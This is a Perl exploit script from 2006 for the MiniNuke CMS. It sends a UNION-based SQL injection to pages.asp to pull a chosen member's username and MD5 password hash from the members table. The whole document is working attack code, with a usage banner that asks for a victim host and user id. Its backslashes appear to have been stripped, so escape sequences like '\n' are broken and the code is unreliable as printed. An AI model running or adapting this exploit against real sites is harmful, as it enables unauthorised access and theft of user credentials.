#!/usr/bin/perl
#Method found & Exploit scripted by nukedx
#Contacts > ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com
#Orginal advisory: http://www.nukedx.com/?viewdoc=9
#Usage: mini.pl <victim.com> </mininuke-dir> <userid>
use IO::Socket;
if(@ARGV != 3){
print "
+**********************************************************************+
+Welcome to MiniNuke CMS System all versions (pages.asp) SQL-inject xpl+
+            Usage: mini.pl <victim> <directory> <userid>              +
+                    Example: mini.pl sux.com / 1                      +
+               Method found & Exploit scripted by nukedx              +
+**********************************************************************+
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http://)//eg;
$port = "80";
$mndir = $ARGV[1];
$victimid = $ARGV[2];
$sreq ="http://".$server.$mndir."pages.asp?id=3%20union+select+0,kul_adi,sifre,0,0+from+members+where+uye_id=".$victimid;
#Writing data to socket
print "+**********************************************************************+n";
print "+ Trying to connect: $servern";
$mns = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "n+ Connection failed...n";
print $mns "GET $sreqn";
print $mns "Host: $servern";
print $mns "Accept: */*n";
print $mns "Connection: closenn";
print "+ Connected!...n";
	while($answer = <$mns>) {
		if ($answer =~ /([d,a-f]{32})/) { 
			print "+ USERID: $victimidn";
                        print "+ MD5 HASH: $1n";
			print "+**********************************************************************+n";
			exit(); }
		if ($answer =~ /number of columns/) { 
                print "+ This version of Mini-Nuke is vulnerable too but default query of SQL-inject does not work on itn";
                print "+ So please edit query by manually adding null data..n";
                exit(); }
	}
print "+ Exploit failedn";
print "+**********************************************************************+n";

# nukedx.com [2006-02-19]

# www.Syue.com [2006-02-19]